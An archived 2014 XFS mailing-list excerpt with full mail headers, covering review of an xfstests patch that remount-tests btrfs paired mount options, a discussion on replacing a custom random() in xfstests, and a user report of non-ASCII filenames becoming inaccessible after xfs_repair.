Jan 12 19:54:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 06DD729DF8 for ; Sun, 12 Jan 2014 19:54:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D2B99304051 for ; Sun, 12 Jan 2014 17:54:27 -0800 (PST) X-ASG-Debug-ID: 1389578065-04cbb04167d71070001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id hgEu03oCoABUgExj for ; Sun, 12 Jan 2014 17:54:25 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,649,1384272000"; d="scan'208";a="9407712" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Jan 2014 09:50:46 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0D1sNF0008012; Mon, 13 Jan 2014 09:54:24 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014011309531490-1013359 ; Mon, 13 Jan 2014 09:53:14 +0800 Message-ID: <52D34784.1050402@cn.fujitsu.com> Date: Mon, 13 Jan 2014 09:55:16 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com CC: Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <52D342F0.5020402@sandeen.net> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 09:53:14, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 09:53:15, Serialize complete at 2014/01/13 09:53:15 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389578065 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, 12 Jan 2014 19:35:44 -0600, Eric Sandeen wrote: > On 1/12/14, 7:21 PM, Qu Wenruo wrote: >> On fri, 10 Jan 2014 10:15:37 -0600, Eric Sandeen wrote: >>> On 1/8/14, 12:30 AM, Qu Wenruo wrote: >>>> Test remount btrfs with different pairing options like barrier and no barrier. >>> It seems that while this tests that the remount succeeds, and that >>> the option string is present in /proc/mounts, it does not test that >>> the mount option is actually in effect. >> Yes, this is what the new test case is intended to do. >> This case was just a test case tests the mount options themselves >> to ensure all the pairing mount options works during remounting, >> since most pairing options are missing before. >>> I suppose for many of these options that would be hard to test; for >>> i.e. acl though it should be trivial. >>> >>> What do you think, is this enough to ensure that remount handling >>> is working as expected for all of these options? >> In my opinion, this test should just focuses on the remount handling and >> the pairing options. >> For the detailed function should be examineed in other test cases. > Except those won't test that a remount with those options actually *worked*; > in fact they don't do remount at all. > > In other words, all this does is test that an option flag was set or unset in > the superblock, but it doesn't really test whether the option has been > properly set up (or torn down) as a result. > > I won't say no to this, but it seems to be of somewhat limited use. > > -Eric It is true that this test case just tests the flags. But sometimes it is unsafe to just trigger the flags. (All right, just the inode_cache flags which is not in the test case) Though the case is mainly for the flags/mount options examining, but it may be able to find some flag triggering defeats if run for enough long time. Anyway, thanks for your commenting. Thanks Qu >> Also, most of the pairing options are instructive, >> and some may not be in effect before next transaction (for the incomming noinode_cache options), >> so I think is OK for just examining the options and remount handling for now. >> >> Thanks >> Qu >>> Thanks, >>> -Eric >>> >>>> Mainly used to test the following comming btrfs kernel commit:(Not in >>>> mainline yet) >>>> 8dd6d2c btrfs: Add treelog mount option. >>>> f1eccd3 btrfs: Add datasum mount option. >>>> aad3269 btrfs: Add datacow mount option. >>>> 22bab74 btrfs: Add acl mount option. >>>> 170e45e btrfs: Add noflushoncommit mount option. >>>> ce41bc9 btrfs: Add noenospc_debug mount option. >>>> f3c639b btrfs: Add nodiscard mount option. >>>> 962cbee btrfs: Add noautodefrag mount option. >>>> 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >>>> >>>> Signed-off-by: Qu Wenruo >>>> Cc: Eric Sandeen >>>> --- >>>> tests/btrfs/025 | 125 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >>>> tests/btrfs/025.out | 2 + >>>> tests/btrfs/group | 1 + >>>> 3 files changed, 128 insertions(+) >>>> create mode 100755 tests/btrfs/025 >>>> create mode 100644 tests/btrfs/025.out >>>> >>>> diff --git a/tests/btrfs/025 b/tests/btrfs/025 >>>> new file mode 100755 >>>> index 0000000..014da19 >>>> --- /dev/null >>>> +++ b/tests/btrfs/025 >>>> @@ -0,0 +1,125 @@ >>>> +#!/bin/bash >>>> +# Btrfs QA test No. 025 >>>> +# >>>> +# Check for paired btrfs mount options >>>> +# >>>> +# Regression test for the following btrfs commits >>>> +# 8dd6d2c btrfs: Add treelog mount option. >>>> +# f1eccd3 btrfs: Add datasum mount option. >>>> +# aad3269 btrfs: Add datacow mount option. >>>> +# 22bab74 btrfs: Add acl mount option. >>>> +# 170e45e btrfs: Add noflushoncommit mount option. >>>> +# ce41bc9 btrfs: Add noenospc_debug mount option. >>>> +# f3c639b btrfs: Add nodiscard mount option. >>>> +# 962cbee btrfs: Add noautodefrag mount option. >>>> +# 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >>>> +# >>>> +#----------------------------------------------------------------------- >>>> +# Copyright (c) 2014 Fujitsu, Inc. All Rights Reserved. >>>> +# >>>> +# This program is free software; you can redistribute it and/or >>>> +# modify it under the terms of the GNU General Public License as >>>> +# published by the Free Software Foundation. >>>> +# >>>> +# This program is distributed in the hope that it would be useful, >>>> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >>>> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >>>> +# GNU General Public License for more details. >>>> +# >>>> +# You should have received a copy of the GNU General Public License >>>> +# along with this program; if not, write the Free Software Foundation, >>>> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >>>> +#----------------------------------------------------------------------- >>>> +# >>>> + >>>> +seq=`basename $0` >>>> +seqres=$RESULT_DIR/$seq >>>> +echo "QA output created by $seq" >>>> + >>>> +status=0 # success is the default! >>>> +trap "_cleanup; exit \$status" 0 1 2 3 15 >>>> + >>>> +PAIRING_OPTIONS="autodefrag noautodefrag discard nodiscard enospc_debug noenospc_debug flushoncommit noflushoncommit noacl acl nobarrier barrier nodatacow datacow nodatasum datasum notreelog treelog space_cache nospace_cache ssd nossd" >>>> + >>>> +# options that does not show in mount options >>>> +HIDDEN_OPTIONS="noautodefrag nodiscard noenospc_debug noflushoncommit acl barrier datacow datasum treelog nossd" >>>> +_cleanup() >>>> +{ >>>> + rm $tmp.running &> /dev/null >>>> + wait >>>> + cd / >>>> + _scratch_unmount &> /dev/null >>>> +} >>>> + >>>> +# check the mount option >>>> +check_mount_opt() >>>> +{ >>>> + mount_point=$1 >>>> + expected_opt=$2 >>>> + >>>> + mount_opt=`cat /proc/mounts | grep $mount_point | cut -d\ -f4` >>>> + if grep $2 $mount_opt; then >>>> + _fail "test failed: expected $expected_opt option not shown in mount options" >>>> + fi >>>> +} >>>> + >>>> +# background noise >>>> +start_bgnoise() >>>> +{ >>>> + touch $tmp.running >>>> + while [ -f "$tmp.running" ]; do >>>> + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n 500 -p 4 >>>> + if [ $? != 0 ]; then >>>> + _fail "Some error happened executing fsstress when remounting" >>>> + fi >>>> + done & >>>> + noise_pid=`jobs -p %1` >>>> + echo $noise_pid > $tmp.running >>>> +} >>>> + >>>> +stop_bgnoise() >>>> +{ >>>> + pid=`cat $tmp.running` >>>> + rm $tmp.running >>>> + wait $pid >>>> +} >>>> + >>>> +# get standard environment, filters >>>> +. ./common/rc >>>> +. ./common/filter >>>> + >>>> +# real QA test starts here >>>> +_supported_fs btrfs >>>> +_supported_os Linux >>>> + >>>> +_need_to_be_root >>>> +_require_scratch >>>> + >>>> +# no need to use the original mount options >>>> +unset MOUNT_OPTIONS >>>> + >>>> +_scratch_mkfs > /dev/null 2>&1 >>>> +_scratch_mount >>>> + >>>> +start_bgnoise >>>> +for remount_opt in $PAIRING_OPTIONS; do >>>> + # Sleep for a while ensuring fsstress to do enough stress >>>> + sleep 1 >>>> + _remount $SCRATCH_MNT $remount_opt >>>> + if [ $? != 0 ]; then >>>> + stop_bgnoise >>>> + _fail "test failed: $remount_opt not supported" >>>> + fi >>>> + if [[ ! $HIDDEN_OPTIONS =~ $remount ]]; then >>>> + check_mount_opt $SCRATCH_MNT $remount_opt >>>> + >>>> + # Special check for nodatacow >>>> + if [ $remount_opt == "nodatacow" ]; then >>>> + check_mount_opt $SCRATCH_MNT nodatasum >>>> + fi >>>> + fi >>>> +done >>>> +stop_bgnoise >>>> +_scratch_unmount || _fail "umount failed" >>>> +echo "Silence is golden" >>>> +status=0; exit >>>> diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out >>>> new file mode 100644 >>>> index 0000000..3d70951 >>>> --- /dev/null >>>> +++ b/tests/btrfs/025.out >>>> @@ -0,0 +1,2 @@ >>>> +QA output created by 025 >>>> +Silence is golden >>>> diff --git a/tests/btrfs/group b/tests/btrfs/group >>>> index 87e7bca..1a4dad8 100644 >>>> --- a/tests/btrfs/group >>>> +++ b/tests/btrfs/group >>>> @@ -27,3 +27,4 @@ >>>> 022 auto >>>> 023 auto >>>> 024 auto quick >>>> +025 auto quick >>>> >>> -- >>> To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in >>> the body of a message to majordomo@vger.kernel.org >>> More majordomo info at http://vger.kernel.org/majordomo-info.html >>> > From david@fromorbit.com Sun Jan 12 19:57:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B373329DF8 for ; Sun, 12 Jan 2014 19:57:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 981238F8050 for ; Sun, 12 Jan 2014 17:57:05 -0800 (PST) X-ASG-Debug-ID: 1389578221-04cb6c537dd6a040001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kDag16CXm48Iw4kH for ; Sun, 12 Jan 2014 17:57:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAGxH01J5LKVw/2dsb2JhbABagwuDOrFphVOBBxd0giUBAQEEOhwjEAgDDgoJJQ8FJQMhE4gDxDMXFo5xB4MkgRMEmBaSFoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 12:26:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2Wlu-0001GE-Bs; Mon, 13 Jan 2014 12:56:58 +1100 Date: Mon, 13 Jan 2014 12:56:58 +1100 From: Dave Chinner To: Chris Mason Cc: Josef Bacik , "sandeen@redhat.com" , "bpm@sgi.com" , "sandeen@sandeen.net" , "linux-btrfs@vger.kernel.org" , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: kill lib/random.c Message-ID: <20140113015658.GE3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> <20140107204015.GJ10553@sgi.com> <52CC6F00.3060907@fb.com> <1389129641.23310.20.camel@ret.masoncoding.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1389129641.23310.20.camel@ret.masoncoding.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389578221 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Jan 07, 2014 at 09:20:12PM +0000, Chris Mason wrote: > On Tue, 2014-01-07 at 16:17 -0500, Josef Bacik wrote: > > On 01/07/2014 03:40 PM, Ben Myers wrote: > > > On Tue, Jan 07, 2014 at 02:10:15PM -0600, Eric Sandeen wrote: > > >> On 1/7/14, 2:01 PM, Ben Myers wrote: > > >>> Hey Gents, > > >>> > > >>> On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wrote: > > >>>> On 1/6/14, 3:42 PM, Josef Bacik wrote: > > >>>>> On 01/06/2014 04:32 PM, Eric Sandeen wrote: > > >>>>>> On 1/6/14, 1:58 PM, Josef Bacik wrote: > > >>>>>>> I was trying to reproduce something with fsx and I noticed that no matter what > > >>>>>>> seed I set I was getting the same file. Come to find out we are overloading > > >>>>>>> random() with our own custom horribleness for some unknown reason. So nuke the > > >>>>>>> damn thing from orbit and rely on glibc's random(). With this fix the -S option > > >>>>>>> actually does something with fsx. Thanks, .... > For now we can just use srandom? Seems to me like it will solve the problem. Josef? Cheers, Dave. -- Dave Chinner david@fromorbit.com From quwenruo@cn.fujitsu.com Sun Jan 12 20:25:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F27DB29DF8 for ; Sun, 12 Jan 2014 20:25:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 78D92AC002 for ; Sun, 12 Jan 2014 18:25:22 -0800 (PST) X-ASG-Debug-ID: 1389579919-04cbb04166d726b0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id tB9dgTeGiSPGPFLk for ; Sun, 12 Jan 2014 18:25:20 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,649,1384272000"; d="scan'208";a="9407897" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Jan 2014 10:21:40 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0D2PGHJ008978; Mon, 13 Jan 2014 10:25:18 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014011310240428-1013780 ; Mon, 13 Jan 2014 10:24:04 +0800 Message-ID: <52D34EBD.4020508@cn.fujitsu.com> Date: Mon, 13 Jan 2014 10:26:05 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Eric Sandeen CC: xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> <20140113015239.GD3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <20140113015239.GD3469@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 10:24:04, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 10:24:10, Serialize complete at 2014/01/13 10:24:10 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=UTF-8; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389579920 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On mon, 13 Jan 2014 12:52:39 +1100, Dave Chinner wrote: > On Sun, Jan 12, 2014 at 07:35:44PM -0600, Eric Sandeen wrote: >> On 1/12/14, 7:21 PM, Qu Wenruo wrote: >>> On fri, 10 Jan 2014 10:15:37 -0600, Eric Sandeen wrote: >>>> On 1/8/14, 12:30 AM, Qu Wenruo wrote: >>>>> Test remount btrfs with different pairing options like barrier and no barrier. >>>> It seems that while this tests that the remount succeeds, and that >>>> the option string is present in /proc/mounts, it does not test that >>>> the mount option is actually in effect. >>> Yes, this is what the new test case is intended to do. >>> This case was just a test case tests the mount options themselves >>> to ensure all the pairing mount options works during remounting, >>> since most pairing options are missing before. >>>> I suppose for many of these options that would be hard to test; for >>>> i.e. acl though it should be trivial. >>>> >>>> What do you think, is this enough to ensure that remount handling >>>> is working as expected for all of these options? >>> In my opinion, this test should just focuses on the remount handling and >>> the pairing options. >>> For the detailed function should be examineed in other test cases. >> Except those won't test that a remount with those options actually *worked*; >> in fact they don't do remount at all. >> >> In other words, all this does is test that an option flag was set or unset in >> the superblock, but it doesn't really test whether the option has been >> properly set up (or torn down) as a result. >> >> I won't say no to this, but it seems to be of somewhat limited use. > What happens to the test when mount options are deprecated/removed? > How are we going to handle the matrix of testable/untestable mount > options across kernels with different mount option support? > > Cheers, > > Dave. In my opinion,there may be two ways to deal it: 1) Introduce up_limit_kver and down_limit_kver to *every* mount option. If needed also add deprecated flags. Ithink this can handle the version related things quite well. But for the test case, it may be overkilled. Most codes will be focused on theversion handling even though the case only tests the flags. On the other hand, it would be quitenice if xfstests framework can introduce such version handling systems. 2) Manual editing after mount options change. If any options become deprecated/removed, just remove them from PAIRING_OPTIONS and HIDDEN_OPTIONS. For the old kernels with does not support these new options, NG is what it should be. Since missing pairing options meaning that users can't trigger a funtion without unmount, NG inform users the fact. (Recently, one user asked why there is no "barrier" mountoption in btrfs. From the respect of users, missing pairing mount options is a defeat) This method will introduce more effort tomaintain the test case, but due to the small codes and relativly less changes in mount options, I consider it as an acceptable method. It would be quite nice if any one can provide any better idea. Thanks Qu From zach@kotlarek.com Sun Jan 12 20:36:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8D9A929DF8 for ; Sun, 12 Jan 2014 20:36:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 68E27304053 for ; Sun, 12 Jan 2014 18:36:08 -0800 (PST) X-ASG-Debug-ID: 1389580567-04cb6c537cd6bb40001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id vjDZHly6d5KlduAQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 12 Jan 2014 18:36:07 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from archer.uberzach.com (unknown [IPv6:2602:3f:e50d:7605:60c:ceff:fed3:ff7e]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id 8D0A258064 for ; Sun, 12 Jan 2014 18:36:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389580566; bh=jC5woj8nMkTE+uMw5xmYgtOyVeng7s26bYcgosITED0=; h=From:Content-Type:Message-Id:Mime-Version:Subject:Date:References: To:In-Reply-To; b=FBhFPXlI/mitw1RUhtzg8vb0hvhGUJz7NydtvgsJBWgQxVtM4sj/zGYUwStYeCTIK PDzQrxqESsHEus0pbC+pDkaTxFza/qktLjMiW7px7/bfusxvoD2Y5GIQONTAglhD08 VVAR7scIKNC/QWTCiVcthbYuAUf7Dc4y4jmob9uQ= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_66F37279-2053-4319-AC27-5F705B2599B9"; protocol="application/pkcs7-signature"; micalg=sha1 Message-Id: Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Date: Sun, 12 Jan 2014 18:36:03 -0800 X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> To: xfs@oss.sgi.com In-Reply-To: <20140113015007.GC3469@dastard> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389580567 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_66F37279-2053-4319-AC27-5F705B2599B9 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 12, 2014, at 5:50 PM, Dave Chinner wrote: >> Attempts to access the now-busted files/directories with accents in = their paths result in a kernel log like: >> Jan 11 02:05:39 vera XFS (dm-31): I/O error occurred: meta-data dev = dm-31 block 0x3c8ff73e0 ("xfs_trans_read_buf") error 11 buf count = 4096 >=20 > error 11 =3D EAGAIN/EWOULDBLOCK >=20 > That tends to imply that there's some interesting error occurring in > the layers below XFS here. The error you note only started showing up *after* the xfs_repair, and = only when attempting to access the non-ascii file paths. It doesn=92t = take the filesystem offline; other than those particular paths being = inaccessible the filesystem seems to be working correctly (though I=92ve = suspended user writes until this is worked out). The affected paths are = all around the disk, all contain non-ascii characters in final portion = of the path name, and do not affect other paths in the same directory. I can find a newer kernel to boot off and see how it behaves if you = think it would make any difference, but I=92m pretty sure xfs_repair = re-wrote the affected directory entries and broke them as opposed to = some sort of block-layer corruption being responsible for breaking only = these files. Zach --Apple-Mail=_66F37279-2053-4319-AC27-5F705B2599B9 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 X4u8MWKN16MBjw+bqdSs6moVCwlCDVAm8Q1vCY1FxKs+ZsjgeB0vAgMBAAGjezB5MAkGA1UdEwQC MAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBTt0O5opEZ9Srh5RU4Hfd3aV56InTAfBgNVHSMEGDAWgBS5ajfQuD4tDDqutQ8fwKFw6YlRwzAN BgkqhkiG9w0BAQUFAAOCAgEAdEPKAfGyGcWI/mUERK9nml7MmQb+1chyK3Di85dMuvdtz4E4KA0U lkc92ddyJKMtsYzi9sjh3EVFTwZQ0Drs3GRwulnpn8uCkSf0nQNJSjr8zAdaIQdPdyzUTHDzV+Jn jPBsHxUV5W91HkXIEEajLdCtQNnRIIuoratGlIvJRwsyokVoUSrlo+/sRi1P7DopMzF1i91AyUuR BfUT0LtC17SGos9P6JiyqQQBtHild2uJZOZM9lSEvhCS25KTEB0aG12TSZmG7aD6ySo4UtPRtLO7 lD2VTuBNhgfIzfES2aqStrPVTqatwbgw+FJjJWHvuBhT1toj9IQZY6pIlo5rIJmOrFUwviHro2Bn tXXEg55vZ/uWnjcWJDj45RoGCPSNx2pb3xuSdltd/POXaT4e6bssZ+ovDvJ2w0eVWakfJNu9uL85 giOcDFFRj9pBBF+t3IWAxsVSxfiAiNCIc6XoP4kW1j6l/P2k2fYj+exwnq2OlkSWANbdAi1/Fa0W 